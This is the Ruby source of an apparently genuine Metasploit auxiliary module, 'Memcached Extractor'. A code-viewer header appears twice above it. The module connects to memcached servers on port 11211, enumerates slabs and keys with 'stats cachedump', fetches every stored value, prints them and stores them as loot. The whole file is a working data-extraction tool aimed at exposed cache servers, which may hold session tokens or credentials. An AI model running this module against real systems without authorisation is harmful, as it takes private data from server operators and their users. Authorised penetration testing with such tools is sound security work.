154 lines
4.0 KiB
Ruby
154 lines
4.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(
|
|
info,
|
|
'Name' => 'Memcached Extractor',
|
|
'Description' => %q(
|
|
This module extracts the slabs from a memcached instance. It then
|
|
finds the keys and values stored in those slabs.
|
|
),
|
|
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
|
|
]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(11211)
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]),
|
|
OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10])
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def max_keys
|
|
datastore['MAXKEYS'].to_i
|
|
end
|
|
|
|
def print_keys
|
|
datastore['PRINTKEYS'].to_i
|
|
end
|
|
|
|
def localhost?(ip)
|
|
%w(localhost 127.0.0.1).include?(ip)
|
|
end
|
|
|
|
# Returns array of keys for all slabs
|
|
def enumerate_keys
|
|
keys = []
|
|
enumerate_slab_ids.each do |sid|
|
|
loop do
|
|
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
|
|
data = sock.recv(4096)
|
|
break if !data || data.length == 0
|
|
matches = /^ITEM (?<key>.*) \[/.match(data)
|
|
keys << matches[:key] if matches
|
|
break if data =~ /^END/
|
|
end
|
|
end
|
|
keys
|
|
end
|
|
|
|
# Returns array of slab ids as strings
|
|
def enumerate_slab_ids
|
|
sock.send("stats slabs\r\n", 0)
|
|
slab_ids = []
|
|
loop do
|
|
data = sock.recv(4096)
|
|
break if !data || data.length == 0
|
|
matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
|
|
slab_ids << matches
|
|
break if data =~ /^END/
|
|
end
|
|
slab_ids.flatten!
|
|
slab_ids.uniq! || []
|
|
end
|
|
|
|
def data_for_keys(keys = [])
|
|
all_data = {}
|
|
keys.each do |key|
|
|
sock.send("get #{key}\r\n", 0)
|
|
data = []
|
|
loop do
|
|
data_part = sock.recv(4096)
|
|
break if !data_part || data_part.length == 0
|
|
data << data_part
|
|
break if data_part =~ /^END/
|
|
end
|
|
all_data[key] = data.join
|
|
end
|
|
all_data
|
|
end
|
|
|
|
def determine_version
|
|
sock.send("version\r\n", 0)
|
|
stats = sock.recv(4096)
|
|
if /^VERSION (?<version>[\d\.]+)/ =~ stats
|
|
version
|
|
else
|
|
nil
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
peer = "#{ip}:#{rport}"
|
|
vprint_status("Connecting to memcached server...")
|
|
begin
|
|
connect
|
|
if (version = determine_version)
|
|
vprint_good("Connected to memcached version #{version}")
|
|
unless localhost?(ip)
|
|
report_service(
|
|
host: ip,
|
|
name: 'memcached',
|
|
port: rport,
|
|
proto: 'tcp',
|
|
info: version
|
|
)
|
|
end
|
|
else
|
|
print_error("unable to determine memcached protocol version")
|
|
return
|
|
end
|
|
keys = enumerate_keys
|
|
print_good("Found #{keys.size} keys")
|
|
return if keys.size == 0
|
|
|
|
data = data_for_keys(keys)
|
|
result_table = Rex::Ui::Text::Table.new(
|
|
'Header' => "Keys/Values Found for #{peer}",
|
|
'Indent' => 1,
|
|
'Columns' => [ 'Key', 'Value' ]
|
|
)
|
|
data.take(print_keys).each { |key, value| result_table << [key, value.inspect] }
|
|
print_line
|
|
print_line("#{result_table}")
|
|
unless localhost?(ip)
|
|
path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
|
|
print_good("memcached loot stored at #{path}")
|
|
end
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
|
|
vprint_error("Could not connect to memcached server!")
|
|
end
|
|
end
|
|
end
|